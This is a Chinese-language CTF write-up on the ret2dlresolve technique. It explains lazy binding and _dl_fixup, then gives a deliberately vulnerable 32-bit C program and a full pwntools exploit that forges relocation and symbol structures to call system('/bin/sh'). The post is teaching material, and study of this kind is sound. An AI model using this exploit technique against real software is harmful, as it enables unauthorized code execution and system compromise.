摆烂有一阵子了,忽然想起了前段时间dasctf3月赛的pwn1,就是无leak条件下的栈溢出。
然后就想着把ret2dl好好总结一下。
x86
前置知识
最好了解一下linux系统下程序的动态链接过程,以及elf结构中与动态链接有关的结构。
可以参考一下ctf-wiki对ELF的介绍:https://ctf-wiki.org/executable/elf/structure/basic-info/
在linux中,程序会使用_dl_runtime_resolve
对动态链接的函数进行重定位
在分析之前,我们再简单复习一遍lazy binding机制:
第一次调用库函数的时候,程序会先到他的plt表里,push了_dl_runtime_resolve
的第二个参数reloc_offset
,此时got表存的是他自己的plt表跳转过来的下一个语句,跳到公共的plt[0]处,push第一个参数link_map
,最后调用_dl_runtime_resolve
将重定向后的地址写到got表里。
利用_dl_fixup
分析
下面我们来看一个例子:
1 2 3 4 5 6 7 8 9 10
| #include<unistd.h> #include<stdio.h> void fun(){ char buf[0x20]; read(0, buf, 0x100); } int main(){ fun(); return 0; }
|
使用以下指令编译:
1
| gcc ret2dl.c -o ret2dl -m32 -fno-stack-protector -no-pie -z relro
|
只开启Partial RELRO和NX,洞也是非常简单的栈溢出,但是没有用于leak的函数。我们尝试用ret2dlresolve来pwn掉它。
以第一次调用raed为例,我们trace进去,发现在read的plt表里先是跳到了read的got表,而got表还未绑定到read上,存的就是read的plt跳转之后的那一句指令的地址,这个时候就会将一个0压栈(这就是之后调用_dl_runtime_resolve
的第二个参数,reloc_offset
),然后跳到plt[0]上,将link_map压栈,调用_dl_runtime_resolve
。
继续跟进,
看到它调用了_dl_fixup
,部分源码如下
1 2 3 4 5 6 7 8 9
| _dl_fixup(struct link_map *l,ElfW(Word) reloc_arg) { const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT); result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0); return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
|
首先通过第二个参数reloc_offset在.rel.plt上找到一个ELF32_Rel结构体,
1 2 3 4
| typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
|
其中,r_offset指向该函数的got表地址,(r_info>>8)是该函数对于.dynamic基地址的偏移
ELF32_Sym结构体的第一个元素就是对象函数的函数名字符串相对于ELF String Table的偏移
不难发现,这些结构都在bss段之前,所以伪造这些结构之前,先把栈迁移到bss段上就会好伪造很多了。
首先准备好需要用到的地址和gadgets
然后利用原本的栈溢出去读后面一部分的payload到bss段上,然后迁移上去(最好将这个地址抬高一部分,不然调用_dl_runtime_resolve
会破坏掉bss段之前的内容)
然后就是伪造ELF32_Rel和ELF32_Sym这两个结构了,
要注意的是,fake_sym_addr到.dynsym的偏移一定要是0x10的整数倍,并且伪造的ELF32_Rel中的r_info得通过_dl_fixup
中的检查,即将该偏移按位与上一个7(R_386_JMUP_SLOT)。
然后就能成功getshell了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(os='linux', arch='i386', log_level='debug') elf = ELF('./ret2dl') p = process('./ret2dl')
ppp_ret = 0x08049251 pop_ebp = 0x08049253 leave_ret = 0x08049105
read_plt = elf.plt['read'] read_got = elf.got['read'] rel_plt = 0x8048314 dynsym = 0x8048248 string_table = 0x8048298 bss_inf = 0x804c000 + 0x800 plt_0 = 0x8049030
pay = b'a'*0x2c + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss_inf) + p32(0x100) pay += p32(pop_ebp) + p32(bss_inf) + p32(leave_ret) p.sendline(pay)
fake_sym_addr = bss_inf + 0x38 fake_sym = p32(bss_inf+0x20-string_table) + p32(0) + p32(0) + p32(12) r_info = (((fake_sym_addr-dynsym)//16)<<8)|7 fake_read_addr = bss_inf + 0x30 reloc_offset = fake_read_addr-rel_plt fake_read = p32(read_got) + p32(r_info)
cmd_addr = bss_inf + 0x28 pay = b'aaaa' + p32(plt_0) + p32(reloc_offset) + p32(0) pay += p32(cmd_addr) + p32(0)*3 pay += b'system\x00\x00' + b'/bin/sh\x00' pay += fake_read + fake_sym p.sendline(pay)
p.interactive()
|
x64
待续